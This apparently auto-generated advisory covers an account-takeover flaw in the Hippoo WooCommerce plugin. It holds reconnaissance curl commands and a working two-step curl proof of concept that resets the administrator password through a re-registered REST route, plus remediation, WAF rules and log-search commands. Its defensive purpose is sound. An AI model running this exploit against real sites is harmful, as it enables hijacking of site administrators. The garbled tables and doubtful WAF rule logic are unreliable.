CVE-2026-130037 — Hippooo Hippoo Mobile App For WooCommerce (1.13. — CWE-269
The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 1.13.0. This is due to `hippoo_rest_re_register_external_routes()` re-registering every non-Hippoo REST route — including the core `/wp/v2/users` endpoint — under the plugin's own `/wc-hippoo/v1/ext` namespace while replacing each route's original `permission_callback` with `'__return_true'` via `hippoo_permissions_override_extension_permission_callback()`, which discards all original capability checks whenever the current user's role has 'Access extensions' enabled and an empty per-role extension allowlist. This makes it possible for authenticated attackers with Subscriber-level access and above to send a single authenticated PUT request to `/wp-json/wc-hippoo/v1/ext/wp/v2/users/1` with a new password, which `WP_REST_Users_Controller::update_item()` accepts and persists without any capability check, allowing the attacker to take over the administrator account and obtain full Administrator capabilities including `manage_options`, `edit_plugins`, and `promote_users`. The vulnerable condition — an empty per-role extension allowlist — is the natural default state when a site administrator enables 'Access extensions' in Hippoo's Role & permissions tab without selecting specific extension slugs, meaning this is exploitable in typical plugin configurations rather than only specially crafted ones. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.
The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 1.13.0. This is due to `hippoo_rest_re_register_external_routes()` re-registering every non-Hippoo REST route — including the core `/wp/v2/users` endpoint — under the plugin's own `/wc-hippoo/v1/ext` namespace while replacing each route's original `permission_callback` with `'__return_true'` via `hippoo_permissions_override_extension_permission_callback()`, which discards all original capability checks whenever the current user's role has 'Access extensions' enabled and an empty per-role extension allowlist. This makes it possible for authenticated attackers with Subscriber-level access and above to send a single authenticated PUT request to `/wp-json/wc-hippoo/v1/ext/wp/v2/users/1` with a new password, which `WP_REST_Users_Controller::update_item()` accepts and persists without any capability check, allowing the attacker to take over the administrator account and obtain full Administrator capabilities including `manage_options`, `edit_plugins`, and `promote_users`. The vulnerable condition — an empty per-role extension allowlist — is the natural default state when a site administrator enables 'Access extensions' in Hippoo's Role & permissions tab without selecting specific extension slugs, meaning this is exploitable in typical plugin configurations rather than only specially crafted ones. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.
🎯 What is this vulnerability?
Root cause
Hippoo Mobile App for WooCommerce (v1.13.0 and earlier) contains a logic flaw in the way it re‑registers REST routes. The function hippoo_rest_re_register_external_routes() iterates over every registered REST route that does not belong to the Hippoo namespace and re‑registers it under the plugin’s own namespace (/wc-hippoo/v1/ext). While doing so it replaces the original permission_callback with the hard‑coded callback __return_true via hippoo_permissions_override_extension_permission_callback().
Why this matters
- The original
permission_callbackfor core routes such as/wp/v2/usersperforms a capability check (current_user_can( 'edit_user', $user_id )). - By overriding it with
__return_true, the plugin effectively removes all authorization checks for those routes. - The override is only applied when the site administrator has enabled the “Access extensions” option and has not configured any per‑role extension allowlist. This is the default state when the option is turned on, so the vulnerability is present in typical installations.
- Authenticated user with at least Subscriber role (or any role that can log in).
- The site administrator has enabled “Access extensions” and left the allowlist empty.
CWE – CWE‑269: Improper Privilege Management.
CVSS – 7.5 (High) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H indicating that an authenticated user with low privileges (Subscriber or higher) can, without any user interaction, gain full control of an existing Administrator account.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify WordPress | Scan for common WordPress paths | curl -I https://example.com/wp-json/ → 200 OK |
| Detect Hippoo plugin | Look for Hippoo REST namespace | curl -s https://example.com/wp-json/wc-hippoo/v1/ → JSON containing hippoo_version |
| Determine version | Inspect plugin file or REST response | curl -s https://example.com/wp-content/plugins/hippooo/hippooo.php → Version: 1.13.0 |
| Check “Access extensions” setting | Query the plugin’s settings endpoint (if public) or inspect the admin UI | curl -s https://example.com/wp-json/wc-hippoo/v1/settings → {"access_extensions":true,"extension_allowlist":[]} |
Note: The above endpoints are illustrative. The CVE description explicitly mentions the re‑registration of routes under /wc-hippoo/v1/ext, so the presence of that namespace confirms the vulnerability.2. Exploitation
PrerequisitesExploit mechanics
1. The attacker authenticates (e.g., via normal login) and obtains a valid authentication cookie or JWT token.
2. The attacker sends a PUT request to the re‑registered user endpoint:
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1where 1 is the ID of the target Administrator account.
3. The request body contains the new password (and optionally other user fields).
4. Because the overridden permission_callback is __return_true, WordPress accepts the request and WP_REST_Users_Controller::update_item() updates the user record without performing any capability checks.
5. The Administrator account now has a new password known to the attacker.
PoC (curl) – illustrative example
# 1. Log in to obtain a cookie (replace USERNAME/PASSWORD)
curl -c cookie.txt -d "log=USERNAME&pwd=PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F" \
-X POST https://example.com/wp-login.php
# 2. Use the cookie to change the admin password
curl -b cookie.txt -X PUT https://example.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1 \
-H "Content-Type: application/json" \
-d '{"password":"NewStrongPassw0rd!"}'Important: The exact URI (/wp-json/wc-hippoo/v1/ext/wp/v2/users/1) is derived from the CVE description. If a site uses a different namespace or user ID, adjust accordingly.3. Post‑Exploitation
manage_options, edit_plugins).
- Modify site content, settings, and users (edit_users, promote_users).
- Exfiltrate data, inject tracking, or pivot to other systems.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C: H) | The attacker can read any data stored in the WordPress database, including user credentials, orders, and private content. |
| Integrity (I: H) | The attacker can modify any content, settings, or user accounts, potentially injecting malicious code or altering transaction data. |
| Availability (A: H) | By deleting or disabling critical plugins, themes, or core files, the attacker can render the site unusable. |
| Overall CVSS | 7.5 (High) – the vulnerability requires only an authenticated user with low privileges, no UI interaction, and has a high impact on all three core security objectives. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Upgrade Recommendation |
|---|---|
| Hippoo Mobile App for WooCommerce 1.13.0 and earlier | Upgrade to 1.13.1 or later (the fix removes the re‑registration logic and restores original permission callbacks). |
Action: Download the latest plugin from the WordPress Plugin Repository or the vendor’s site and replace the old plugin directory. Verify the new version via the admin UI or by checking the plugin file header.
2. Workarounds (if patching is delayed)
| Mitigation | How to Implement |
|---|---|
| Disable “Access extensions” | In the WordPress admin → WooCommerce → Hippoo → Role & Permissions → uncheck “Access extensions”. |
| Restrict REST API access | Add a rule to the web server or WAF that blocks unauthenticated access to /wp-json/wc-hippoo/v1/ext/* or to the entire /wp-json/ endpoint for non‑admin users. |
| Use a WAF ModSecurity rule | Example rule to block the vulnerable endpoint for non‑admin roles: |
| ```modsecurity |
| | SecRule REQUEST_URI "@beginsWith /wp-json/wc-hippoo/v1/ext/" \
| | "phase:2,deny,status:403,log,msg:'Hippoo extension route blocked for non-admin' \
| | chain" |
| | SecRule REQUEST_HEADERS:Cookie "@rx user_id=([0-9]+)" \
| "t:none,t:urlDecodeUni,chain" | |
|---|---|
| SecRule MATCHED_VAR "@rx 1" "t:none" | |
`` | |
| Limit REST API permissions | In functions.php add: |
`php | |
| add_filter( 'rest_authentication_errors', function( $result ) { | |
| if ( ! $result && ! current_user_can( 'manage_options' ) ) { | |
| return new WP_Error( 'rest_forbidden', esc_html__( 'Forbidden', 'hippooo' ), array( 'status' => 403 ) ); | |
| } | |
| return $result; | |
| } ); | |
| `` |
Note: The WAF rule above is illustrative; adjust the regex to match your cookie structure.
3. Detection
| Indicator | Log Pattern | How to Search | ||||
|---|---|---|---|---|---|---|
| PUT to re‑registered route | PUT /wp-json/wc-hippoo/v1/ext/wp/v2/users/* | grep -i "PUT /wp-json/wc-hippoo/v1/ext/wp/v2/users" /var/log/nginx/access.log | ||||
| Successful password change | WP_REST_Users_Controller::update_item() logs (if enabled) | grep -i "update_item" /var/log/apache2/error.log | ||||
| Unexpected admin login | wp-login.php success for a user with low role | grep "wp-login.php" /var/log/apache2/access.log | grep "200" | |||
| Large number of REST API requests | High volume of /wp-json/ traffic from a single IP | awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head |
Tip: Enable WordPress debug logging (define( 'WP_DEBUG_LOG', true );) to capture REST API errors and user updates.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query